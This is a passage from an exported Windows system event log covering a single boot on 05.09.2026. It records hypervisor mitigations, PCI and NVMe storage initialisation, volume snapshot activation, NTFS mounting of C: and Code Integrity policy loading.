by bcdedit: false\nMitigations enabled: true\nCache flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t165\t\"Hypervisor configured mitigations for CVE-2019-11091, CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports microarchitectural buffer flush: true\nBuffer flush needed: false\n\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.104\t3\tSecure Kernel started with status STATUS_SUCCESS and flags 82976.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:28:48.104\t30\tThe firmware reported boot metrics.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.105\t20\t\"The leap second configuration has been updated.\nReason: Leap second data initialized from registry during boot\nLeap seconds enabled: true\nNew leap second count: 0\nOld leap second count: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.165\t16\tIOMMU fault reporting has been initialized.\tInformation\tSystem\tMicrosoft-Windows-HAL\n05.09.2026 08:28:48.306\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.314\t1\t[ROOT] (Bus 0x0000): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.315\t1\t[ROOT] (Bus 0x0000): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.317\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.471\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.490\t1\t[PDO] (0x0000.0x1f.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.491\t1\t[PDO] (0x0000.0x1f.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.499\t1\t[PDO] (0x0000.0x06.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[PDO] (0x0000.0x06.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.533\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.534\t1\t[FDO] (0x0000.0x06.0x00) (Bus 0x0001): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.596\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:48.604\t1\t[PDO] (0x0001.0x00.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.631\t1\t[PDO] (0x0001.0x00.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.632\t576\t\"Storport storage D3 setting.                    \nAdapter Guid: {946c1900-e3df-11f0-b74d-806e6f6e6963}                    \nAdapter port number: 4294967295                    \nAdapter hardware id: PCI\\VEN_1E49&DEV_1081&SUBSYS_10811E49&REV_03                    \nMiniport driver name: stornvme                    \nAdapter interface type: 5                    \nFlags: 4535619747840                    \nStorage D3 allowed: false                    \nACPI DSD property: 1                    \nD3 registry key state: 4294967295                    \nStorage D3 enable: true                    \nDirectFx enable: true\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.671\t527\tThe miniport logged an event.\tWarning\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.690\t513\t\"Host Memory Buffer Allocation for \\Device\\RaidPort0 succeeded.                    \nFailure Reason: None                    \nAllocation Policy: Maximum                    \nAttemped to Allocate: \t0x4000000 bytes                    \nActually Allocated: \t0x4000000 bytes                    \nDevice Minimum: \t0x4000000 bytes                    \nDevice Preferred: \t\t0x4000000 bytes                    \nPolicy Maximum: \t\t0x17875000 bytes\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.704\t567\tThe miniport logged an event.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t552\tStorport Device (Port = 0, Path = 0, Target = 0, Lun = 0) has arrived.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.713\t553\tStorport Device {946c1900-e3df-11f0-b74d-806e6f6e6963} (Port = 0) was rescanned and changes were detected.\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.715\t6\tFile System Filter 'FileInfo' (10.0, \u200e2093\u200e-\u200e04\u200e-\u200e02T08:29:43.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.715\t6\tFile System Filter 'Wof' (10.0, \u200e2047\u200e-\u200e07\u200e-\u200e10T20:40:35.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.716\t6\tFile System Filter 'WdFilter' (10.0, \u200e2069\u200e-\u200e10\u200e-\u200e28T18:09:00.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:48.718\t100\tNTFS global corruption action state is now 0.\tInformation\tMicrosoft-Windows-Ntfs/WHC\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:48.755\t1\t[PDO] (0x0000.0x0a.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.783\t1\t[PDO] (0x0000.0x0a.0x00): Finish state transition to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:48.785\t104\t\"Enhanced storage device with Class Disk Device Guid: {00000000-0000-0000-0000-000000000000} entered D0 power state.                    \nDevice type: IEEE1667                    \nDevice state: NoSecurity\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.792\t106\t\"Storage device PDO capabilities discovered on Class Disk Device Guid: {00000000-0000-0000-0000-000000000000}.                    \nDevice PDO Capabilities: INC_512 set\"\tInformation\tMicrosoft-Windows-EnhancedStorage-EhStorClass/Operational\tMicrosoft-Windows-EnhancedStorage-ClassDriver\n05.09.2026 08:28:48.799\t549\t\"This is the first instance of the error seen during this time period                     \non Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {00000000-0000-0000-0000-000000000000}:                     \nThe request opcode was 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe io latency was 1 ms.\"\tError\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:28:48.804\t1006\tFor internal use only.\tInformation\tMicrosoft-Windows-Partition/Diagnostic\tMicrosoft-Windows-Partition\n05.09.2026 08:28:48.806\t207\t\"Physical disk {d10f1580-d0d5-c67f-846a-8d6faaba20dc} arrived.                  \nPool Id: {00000000-0000-0000-0000-000000000000}                  \nDrive Number: 0                  \nDrive Manufacturer: NULL                  \nDrive Model Number: YMTC PC41Q-1TB-B                  \nDrive Serial Number: A428_B717_BC98_000A.\"\tInformation\tMicrosoft-Windows-StorageSpaces-Driver/Operational\tMicrosoft-Windows-StorageSpaces-Driver\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 1 disk 0 offset 1048576.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 2 disk 0 offset 210763776.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 3 disk 0 offset 227540992.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 4 disk 0 offset 322350088192.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 5 disk 0 offset 995218161664.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 6 disk 0 offset 996291903488.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.806\t1001\tVolume arrived: volume 7 disk 0 offset 1023135449088.\tInformation\tMicrosoft-Windows-StorageVolume/Operational\tMicrosoft-Windows-StorageVolume\n05.09.2026 08:28:48.811\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23cb36d7-dcac-4575-b04d-8288cc1f8e2a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.813\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {4736eb51-c081-4903-81cc-8d311834b73f}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.815\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.819\t101\tInitialized VolumeCacheMap for device guid: {23606dfe-da07-4ad7-8798-8deaced0a66e}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:48.865\t103\t\"Activation of discovered snapshots began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebadda-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T13:17:39.962Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {51ebc0bd-a72a-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e03T22:36:10.189Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.866\t107\t\"Reading of a snapshot diff area's metadata began.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t108\t\"Reading of a snapshot diff area's metadata completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nCount of 1MB Reads: 4\nCount of 16KB Reads: 2\nDiff Area Metadata Size: 4210688 Bytes\nTotal Data Read: 4227072 Bytes\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver reads the diff area for the most-recent persistent snapshot (if any).  The diff area for earlier persistent snapshots is typically read the first time the snapshot is read from.  The size of the diff area metadata may be less than the total number of bytes read if the diff area is discontiguous on disk.\n\nYou should expect this event when a volume is brought online, reverted to a snapshot, or when reading from a persistent snapshot for the first time after bringing a volume online.  This event may also occur if a volume is dismounted that contains snapshots that have not been read since the volume was brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.896\t106\t\"A persistent snapshot was activated.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nSnapshot GUID: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\nSnapshot Marked Deleted: false\nSnapshot Visible: false\nSnapshot Commit Timestamp: \u200e2026\u200e-\u200e09\u200e-\u200e04T13:17:42.364Z\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  If the snapshot is 'visible', it was exposed as a local volume or file share.  If the snapshot is 'deleted', it is no longer available for use and its diff area space will be reclaimed when all older snapshots are deleted.\n\nYou should expect this event when a volume containing persistent snapshots is brought online or reverted to a snapshot.  If all discovered snapshots are successfully activated you should expect event 104, otherwise you will see event 105.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t104\t\"Activation of discovered snapshots completed.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\nTotal Number of Snapshots Found: 3\nNumber of Snapshots Marked for Delete: 0\nNumber of Visible Snapshots Found: 0\n\nGuidance:\nWhen a volume is brought online or reverted to a snapshot, the volume snapshot driver scans for and activates any persistent snapshots that may be on the volume.  Some snapshots may be marked 'visible', meaning they were exposed as a local volume or file share.  Some detected snapshots may be marked 'deleted', meaning they are no longer available for use and their diff area space will be reclaimed when all older snapshots are deleted.  Look for instances of event 106 to see each snapshot that was discovered and whether it was 'visible' or 'deleted'.\n\nYou should expect this event when a volume is brought online or reverted to a snapshot.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.905\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.908\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.909\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {071ed15c-a672-4f3b-b36f-218dce297808}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.911\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.915\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {f7c299ce-44f9-435a-a486-3d3fb2bfc802}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.916\t100\t\"The volume snapshot driver has begun processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nWhen a volume is brought online the volume snapshot driver scans for any persistent snapshots that may be on the volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:48.917\t101\t\"The volume snapshot driver has completed processing for volume online.\n\nVolume GUID: {580f6681-a25f-4cec-9096-3d65cabf1f4a}\n\nGuidance:\nThe volume snapshot driver was able to scan for any persistent snapshots on this volume.\n\nYou should expect this event when a volume is brought online.  No user action is required.\"\tInformation\tMicrosoft-Windows-VolumeSnapshot-Driver/Operational\tMicrosoft-Windows-VolumeSnapshot-Driver\n05.09.2026 08:28:49.191\t4\t\"The NTFS volume has been successfully mounted.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Device number: 0\n           Boot partition: true\n\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n           \n           Total mount duration: 374 ms\n           Longest stage: 8. Duration 212 ms (57% of the total)\n           Second longest stage: 4. Duration 86 ms (23% of the total)\n           Volume restart applied: false\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Duration (micro seconds): 28359\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t98\tVolume C: (\\Device\\HarddiskVolume3) is healthy.  No action is needed.\tInformation\tSystem\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.191\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume name: C:\n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolume3\n           Device GUID: {d10f1580-d0d5-c67f-846a-8d6faaba20dc}\n           Device manufacturer: \n           Device model: YMTC PC41Q-1TB-B\n           Device revision: YM11D343\n           Device serial number: A428_B717_BC98_000A.\n           Bus type: NVMe\n           Native NVMe: false\n\n           Adapter serial number: YMA61T0KA251530359  _0001\n\n           Media type: Hard disk\n           Runs cached: 3171\n           Longest run cached: 73.38 GB\n           Most populated bin Count: 71\n           Most populated bin's minimum length: 7.51 MB\n           Most populated bin's maximum length: 7.75 MB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.192\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.263\t3084\tCode Integrity will enable WHQL driver enforcement for this boot session.  Settings 0x0. Exemption 1.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {60fd87f8-4593-44a0-91b0-2e0da022f248} Microsoft Windows Endpoint Security Policy. id 10.0.29526.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {60fd87f8-4593-44a0-91b0-2e0da022f248}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {784c4414-79f4-4c32-a6a5-f0fb42a51d0d} Microsoft Windows Cross Certificates for Code Integrity Exceptions Audit Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {784c4414-79f4-4c32-a6a5-f0fb42a51d0d}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {8f9cb695-5d48-48d6-a329-7202b44607e3} Microsoft Windows Cross Certificates for Code Integrity Exceptions Policy. id 10.29611.0.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3116\tSignature information for Code Integrity policy ID {8f9cb695-5d48-48d6-a329-7202b44607e3}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.264\t3099\tRefreshed and activated Code Integrity policy {a072029f-588b-4b5e-b7f9-05aad67df687} Microsoft Windows Virtualization Based Security Policy. id 10.0.29644.0. Status 0x0\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.265\t3116\tSignature information for Code Integrity policy ID {a072029f-588b-4b5e-b7f9-05aad67df687}.\tInformation\tMicrosoft-Windows-CodeIntegrity/Operational\tMicrosoft-Windows-CodeIntegrity\n05.09.2026 08:28:49.274\t101\tInitialized VolumeCacheMap for device guid: {00000000-0000-0000-0000-000000000000}.\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.289\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t5\t\"WHEA successfully initialized.\n   6 error sources are active\n   Error record format version is 10.\"\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.295\t42\tWHEA event log entry\tInformation\tMicrosoft-Windows-Kernel-WHEA/Operational\tMicrosoft-Windows-Kernel-WHEA\n05.09.2026 08:28:49.306\t6\tFile System Filter 'FileCrypt' (10.0, \u200e2075\u200e-\u200e09\u200e-\u200e01T05:07:07.000000000Z) has successfully loaded and registered with Filter Manager.\tInformation\tSystem\tMicrosoft-Windows-FilterManager\n05.09.2026 08:28:49.313\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: {00000000-0000-0000-0000-000000000000}\n           Device manufacturer: \n           Device model: \n           Device revision: \n           Device serial number: \n           Bus type: \n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 32610\n           InputFlags: 0xE\n           Reason: Mount\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:49.313\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5772ff22-a7ee-11f1-b7fe-289200f24a99}\n           Volume name: \n           Volume label: Windows\n\n           Device name: \\Device\\HarddiskVolumeShadowCopy3\n           Device GUID: 